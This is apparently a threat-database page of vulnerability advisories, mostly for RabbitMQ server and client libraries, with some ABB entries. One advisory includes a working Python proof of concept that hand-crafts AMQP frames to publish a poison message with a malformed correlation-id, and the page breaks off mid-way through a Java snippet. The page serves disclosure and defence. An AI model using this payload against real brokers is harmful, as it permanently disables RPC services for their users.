Threat database

Missing authentication for critical function vulnerability in ABB Ability Edgenius. This issue affects Ability Edgenius: through 3.2.3.0.

CVE-2026-17525 is an incomplete cleanup vulnerability in ABB My Control System versions 26.4 and 26.5. The vulnerability does not impact confidentiality or integrity but can cause availability issues. It has a medium severity rating with a CVSS score of 5.2. No patch or remediation information is provided.

CVE-2026-67418 is a medium severity vulnerability in rabbitmq-server affecting MQTT 5 parser versions from 3.13.0 up to but not including 3.13.19, and several 4.x versions before specified patch releases. It involves improper validation of the Request-Problem-Information property in PUBLISH packets, which is only valid for CONNECT packets. An authenticated publisher with topic write permission can cause a subscriber's MQTT or Web MQTT connection to close unexpectedly due to an unhandled exception during serialization. The broker and publisher remain available, and no denial of service beyond connection closure or message replay occurs. Fixed versions are 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67414 is a medium severity vulnerability in rabbitmq-server affecting versions prior to 4.0.24, 4.1.15, 4.2.10, and 4.3.4. It allows a low-privilege client to cause uncontrolled resource consumption by sending specially crafted AMQP 1.0 arrays with zero-width constructors after SASL authentication. This can lead to excessive memory usage, triggering node-wide memory alarms, blocking publishers, or exhausting broker memory. The issue has been fixed in the specified versions.

CVE-2026-67416 is an improper input validation vulnerability in the AMQP 1.0 server_mode parser of rabbitmq-server versions 4.0.0 up to but not including 4.0.24, 4.1.15, 4.2.10, and 4.3.4. An authenticated AMQP 1.0 publisher with write permission can submit a crafted descriptor that causes RabbitMQ to misclassify message bodies, leading to consumer termination during decoding. The broker remains operational and routing or authorization is not bypassed. This issue is fixed in versions 4.0.24, 4.1.15, 4.2.10, and 4.3.4.

amqp091-go is a Go AMQP 0.9.1 client. From 1.13.0 until 1.14.0, the frame-size mitigation from the prior allocation advisory can be bypassed before connection.tune completes because Connection.maxFrameSize uses zero for both the not-yet-negotiated and negotiated-unlimited states. A malicious or compromised AMQP peer can send a short body-frame header with a large declared payload length, causing ReadFrame and the body-frame parser to allocate attacker-selected memory before the payload is received or the frame's protocol state is rejected. The condition is reachable through public Open even when Config.FrameSize is set to the protocol minimum and can cause severe memory pressure, out-of-memory termination, or loss of the client process before authentication completes. This issue is fixed in version 1.14.0.

CVE-2026-106121 is an infinite loop vulnerability in the rabbitmq-java-client library's JSONReader component. When parsing JSON input that ends inside a quoted string or a line comment, the parser loops indefinitely. This can cause either an OutOfMemoryError by filling the heap or a thread pinned at 100% CPU, resulting in denial of service. The issue affects applications using the JSON-RPC-over-AMQP tooling with the default DefaultJsonRpcMapper. The vulnerability is triggered by a single unauthenticated message and impacts availability of the JSON-RPC endpoint.

A vulnerability in the RabbitMQ Java client library prior to version 5.35.0 causes sensitive information, including plaintext usernames and passwords from AMQP URIs, to be included in error messages when URI parsing fails. This can lead to unintended disclosure of broker credentials in logs and monitoring systems. The issue is addressed in version 5.35.0.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ABB Protection and control IED manager (PCM600). This issue affects Protection and control IED manager (PCM600): through 2.14.

Incorrect Permission Assignment for Critical Resource vulnerability in ABB Protection and control IED manager (PCM600). This issue affects Protection and control IED manager (PCM600): through 2.14.

RabbitMQ is a messaging and streaming broker. From 3.13.0 until 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5, RabbitMQ OAuth credential refresh retains revoked runtime tags. when an existing AMQP connection refreshes from an OAuth token that grants the impersonator tag to a valid same-username token that no longer grants that tag, RabbitMQ updates the OAuth backend implementation (token/scopes/expiry) but leaves the connection's runtime #user.tags unchanged. rabbitaccesscontrol:checkuserid/2 then still honors the stale impersonator tag, so the connection (including newly opened channels) can continue publishing messages with a foreign AMQP userid after that privilege should have been revoked. A fresh connection using the downgraded token correctly refuses the same publish, proving the defect is stale session state rather than the token Limited to connections that once held impersonator and successfully refresh to a downgraded same-username rabbitauthbackendoauth2 (or an equivalent refresh-capable backend that returns tags) is enabled for This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67419 is a high-severity vulnerability in rabbitmq-server prior to version 4.3.5. It involves inefficient algorithmic complexity in topic exchange routing, where an authenticated user with permissions to bind queues and publish messages can exploit consecutive '#' segments in binding keys. This causes excessive CPU and memory usage due to duplicate processing in topic matchers, potentially disrupting message routing for all tenants. The issue is fixed in version 4.3.5.

CVE-2026-67421 is a medium severity vulnerability in RabbitMQ server versions from 3.13.0 up to but not including 3.13.19, and several 4.x versions before specific patched releases. It involves missing authorization in the RabbitMQ Management interface when the OAuth management UI is enabled. An attacker with queue configure permission can cause an authorization error that reveals an attacker-controlled queue name in HTML, potentially allowing a management administrator to inadvertently leak their Authorization header to an attacker-controlled endpoint via a cross-origin request. This issue is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67408 is a high-severity vulnerability in rabbitmq-server versions 4.1.0 through before 4.1.11, 4.2.0 through before 4.2.9, and 4.3.0 through before 4.3.3. It allows an authenticated low-privileged management user with access to a vhost but without configure, write, or read permissions to cause uncontrolled resource consumption. By sending a crafted HTTP PUT request to the stream management API with a large binding-keys field, the attacker can force large memory allocations before permission checks occur, potentially causing the RabbitMQ node to crash in memory-limited environments. The issue is fixed in versions 4.1.11, 4.2.9, and 4.3.3.

CVE-2026-67406 is a vulnerability in rabbitmq-server versions prior to 4.3.3, 4.2.9, 4.1.14, and 4.0.23 where the Shovel worker process does not properly format crash logs. This causes plaintext AMQP credentials to be exposed in error logs when the shovel worker crashes, which can happen during network issues. The issue affects multiple version branches and is fixed in the specified patched versions.

CVE-2026-67410 is a vulnerability in RabbitMQ server versions 4.2.0 through 4.2.8 and 4.3.0 through 4.3.2 where the OAuth2 client secret is exposed via an unauthenticated JavaScript endpoint. This occurs when OAuth2 authentication is enabled for the RabbitMQ Management UI and the configured flow uses a client secret. The secret is included in the JavaScript served by the unauthenticated endpoint /js/oidc-oauth/bootstrap.js, allowing any user who can access the management UI port to retrieve it. The issue is fixed in versions 4.2.9 and 4.3.3.

CVE-2026-67227 is a medium severity vulnerability in rabbitmq-server versions from 4.0.0 up to but not including 4.0.22, 4.1.14, 4.2.7, and 4.3.1. It involves uncontrolled resource consumption due to atom exhaustion triggered by a policymaker user making repeated requests to the /api/global-parameters/:name endpoint with unique :name values. This can crash the node by exhausting the atom table. The issue is fixed in versions 4.0.22, 4.1.14, 4.2.7, and 4.3.1.

CVE-2026-67407 is a medium severity vulnerability in rabbitmq-server affecting versions from 4.0.0 up to but not including 4.3.3, 4.2.9, 4.1.14, and 4.0.23. It is a missing authorization issue related to an incomplete fix for a previous vulnerability (CVE-2026-44838). The flaw involves improper escaping of the '-' character in MQTT topic permission templates, allowing a low-privileged authenticated MQTT user to broaden topic read and write permissions by manipulating the clientid in topic permission templates. This issue is fixed in versions 4.3.3, 4.2.9, 4.1.14, and 4.0.23.

CVE-2026-67226 is a medium severity vulnerability in rabbitmq-server affecting versions 4.0.0 up to but not including 4.0.22, 4.1.0 up to but not including 4.1.14, and 4.2.0 up to but not including 4.2.7. It involves uncontrolled resource consumption via an admin-only API endpoint that processes user tags. An administrator can crash the node by submitting a request with approximately one million unique tags. This issue has been fixed in versions 4.0.22, 4.1.14, and 4.2.7.